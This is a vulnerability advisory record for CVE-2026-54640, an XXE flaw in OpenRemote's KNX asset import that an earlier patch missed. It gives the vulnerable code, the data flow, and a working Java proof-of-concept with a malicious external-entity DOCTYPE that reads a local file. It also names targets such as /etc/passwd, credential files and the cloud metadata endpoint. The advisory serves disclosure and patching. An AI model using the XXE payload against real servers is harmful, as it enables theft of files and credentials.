{"id":"CVE-2026-54640","aliases":[],"url":"https://o3.security/vulnerability/CVE-2026-54640","summary":"OpenRemote has an incomplete fix for CVE-2026-40882: XXE in KNXProtocol.startAssetImport() allows arbitrary file read via unprotected XMLInputFactory","details":"### Summary\nThe fix for CVE-2026-40882 addressed only the Velbus asset import handler. The KNX asset import handler (`KNXProtocol`) processes user-uploaded ETS project ZIP files through Saxon XSLT and `XMLInputFactory.newInstance()` with no XXE protection, allowing any authenticated user to read arbitrary files from the server filesystem (e.g. `/etc/passwd`, `openmrs-runtime.properties`, cloud credential files).\n\n### Details\n### Incomplete patch\n\nCVE-2026-40882 was fixed by introducing `createSecureDocumentBuilderFactory()` in `AbstractVelbusProtocol.java` with five XXE-blocking features. The parallel asset import handler in `KNXProtocol.java` was not updated and retains two unprotected XML parsing calls on the same user-controlled data.\n\n**Patched file — AbstractVelbusProtocol.java:**\n\n```java\nprivate DocumentBuilderFactory createSecureDocumentBuilderFactory() {\n    DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();\n    factory.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true);\n    factory.setFeature(\"http://apache.org/xml/features/disallow-doctype-decl\", true);\n    factory.setFeature(\"http://xml.org/sax/features/external-general-entities\", false);\n    factory.setFeature(\"http://xml.org/sax/features/external-parameter-entities\", false);\n    factory.setFeature(\"http://apache.org/xml/features/nonvalidating/load-external-dtd\", false);\n    return factory;\n}\n```\n\n**Vulnerable file — KNXProtocol.java, lines 229–249:**\n\n```java\n// Line 229-230: reads 0.xml from user-uploaded ZIP\nInputStream inputStream = KNXProtocol.class.getResourceAsStream(\".../ets_calimero_group_name.xsl\");\nString xsd = IOUtils.toString(inputStream, StandardCharsets.UTF_8);\n\n// Lines 233-245: Saxon XSLT — no XXE protection on the source document\nTransformerFactory tfactory = new TransformerFactoryImpl();\nTransformer transformer = tfactory.newTransformer(new StreamSource(new StringReader(xsd)));\ntransformer.transform(\n    new StreamSource(new StringReader(xml)),  // xml = 0.xml from attacker's ZIP\n    new StreamResult(writer));\n\n// Line 249: XMLInputFactory — no SUPPORT_DTD=false, no IS_SUPPORTING_EXTERNAL_ENTITIES=false\ntry (final XmlReader r = XmlInputFactory.newInstance()\n        .createXMLStreamReader(new StringReader(xml))) { ... }\n```\n\n### Data flow\n\n```\nPOST /api/{realm}/agent/{agentId}/import   (authenticated user, PR:L)\n  → AgentResourceImpl.doProtocolAssetImport(fileData)\n  → KNXProtocol.startAssetImport(byte[] fileData)\n  → ZipInputStream reads 0.xml from attacker-controlled ETS ZIP\n  → Saxon TransformerFactoryImpl.transform(StreamSource(0.xml))  ← XXE stage 1\n  → XmlInputFactory.newInstance().createXMLStreamReader(xml)     ← XXE stage 2\n  → external entity resolved → arbitrary file read\n```\n\n### Comparison with patched code\n\n| Handler | XML parser | DTD disabled | Status |\n|---|---|---|---|\n| `AbstractVelbusProtocol` | `DocumentBuilderFactory` | ✅ 5 features set | Patched (CVE-2026-40882) |\n| `KNXProtocol` | `Saxon` + `XMLInputFactory` | ❌ none set | **Not patched** |\n\n\n### PoC\nNo full OpenRemote installation required. The following reproduces the vulnerable XML processing chain using the exact same library versions.\n\n**Requirements:** Java 17+, Maven 3.8+\n\n**pom.xml dependency:**\n```xml\n<dependency>\n    <groupId>net.sf.saxon</groupId>\n    <artifactId>Saxon-HE</artifactId>\n    <version>12.9</version>\n</dependency>\n```\n\n**Exploit.java:**\n```java\nimport net.sf.saxon.TransformerFactoryImpl;\nimport javax.xml.stream.*;\nimport javax.xml.transform.*;\nimport javax.xml.transform.stream.*;\nimport java.io.*;\nimport java.nio.file.*;\n\npublic class Exploit {\n    public static void main(String[] args) throws Exception {\n\n        // Sentinel file — proves arbitrary file read\n        Path sentinel = Files.createTempFile(\"openremote_xxe_proof_\", \".txt\");\n        String tag = \"OPENREMOTE_KNX_XXE_\" + System.currentTimeMillis();\n        Files.writeString(sentinel, tag);\n\n        String maliciousXml =\n            \"<?xml version=\\\"1.0\\\"?>\\n\" +\n            \"<!DOCTYPE root [\\n\" +\n            \"  <!ENTITY xxe SYSTEM \\\"file://\" + sentinel.toAbsolutePath() + \"\\\">\\n\" +\n            \"]>\\n\" +\n            \"<root><data>&xxe;</data></root>\";\n\n        // Stage A: XMLInputFactory (KNXProtocol.java:249 — no security config)\n        XMLInputFactory factory = XMLInputFactory.newInstance();\n        XMLStreamReader reader = factory.createXMLStreamReader(new StringReader(maliciousXml));\n        StringBuilder sb = new StringBuilder();\n        while (reader.hasNext()) {\n            int e = reader.next();\n            if (e == XMLStreamConstants.CHARACTERS) sb.append(reader.getText());\n        }\n        System.out.println(\"Stage A result: \" + sb.toString().trim());\n\n        // Stage B: Saxon TransformerFactoryImpl (KNXProtocol.java:233-245)\n        String xsl = \"<?xml version=\\\"1.0\\\"?>\" +\n            \"<xsl:stylesheet version=\\\"1.0\\\" xmlns:xsl=\\\"http://www.w3.org/1999/XSL/Transform\\\">\" +\n            \"<xsl:output method=\\\"text\\\"/>\" +\n            \"<xsl:template match=\\\"/\\\"><xsl:value-of select=\\\"root/data\\\"/></xsl:template>\" +\n            \"</xsl:stylesheet>\";\n        TransformerFactory tf = new TransformerFactoryImpl();\n        StringWriter writer = new StringWriter();\n        tf.newTransformer(new StreamSource(new StringReader(xsl)))\n          .transform(new StreamSource(new StringReader(maliciousXml)), new StreamResult(writer));\n        System.out.println(\"Stage B result: \" + writer.toString().trim());\n\n        Files.deleteIfExists(sentinel);\n    }\n}\n```\n\n**Build and run:**\n```bash\nmvn clean package -q\njava -jar target/openremote-xxe-1.0.jar\n```\n\n**Verified output (JDK 21, Linux):**\n```\nStage A result: OPENREMOTE_KNX_XXE_1780611779589\nStage B result: OPENREMOTE_KNX_XXE_1780611779589\n```\n\nBoth stages print the sentinel file's contents, confirming that an external entity referencing a local file is resolved without restriction.\n\n\n### Impact\n**Vulnerability type:** XML External Entity (XXE) injection leading to arbitrary file read and potential server-side request forgery (SSRF).\n\n**Who is impacted:** Any OpenRemote deployment that exposes the Manager API to authenticated users. The import endpoint requires only a valid session (PR:L), not administrator access. An attacker with a regular account in any realm can exploit this to read files accessible to the JVM process user, including:\n\n- `/etc/passwd` — user enumeration\n- Application configuration files containing database credentials or API keys\n- Cloud provider metadata endpoints via SSRF (`http://169.254.169.254/...`)\n- Internal service endpoints reachable from the server\n\nThe vulnerability is present in `KNXProtocol`, a built-in protocol handler shipped with every OpenRemote installation that includes the agent module. No special configuration is required to be exposed to this attack.","published":"2026-07-06T20:49:51Z","modified":"2026-07-06T21:00:08.412817745Z","cvss":{"score":7.6,"severity":"HIGH","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:L"},"epss":null,"cisaKev":null,"exploitsKnown":null,"affectedPackages":[{"ecosystem":"Maven","name":"io.openremote:openremote-agent","fixedVersion":"1.24.2"}],"fix":{"url":"https://github.com/openremote/openremote/commit/c28d3c60ebc2da68d9b6c4a6d7a5ad875a255ee9","label":"openremote/openremote@c28d3c6"},"references":[{"type":"WEB","url":"https://github.com/openremote/openremote/security/advisories/GHSA-7v6w-c3f4-9wpq"},{"type":"WEB","url":"https://github.com/openremote/openremote/commit/c28d3c60ebc2da68d9b6c4a6d7a5ad875a255ee9"},{"type":"PACKAGE","url":"https://github.com/openremote/openremote"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-07-06T21:00:08.412817745Z"}}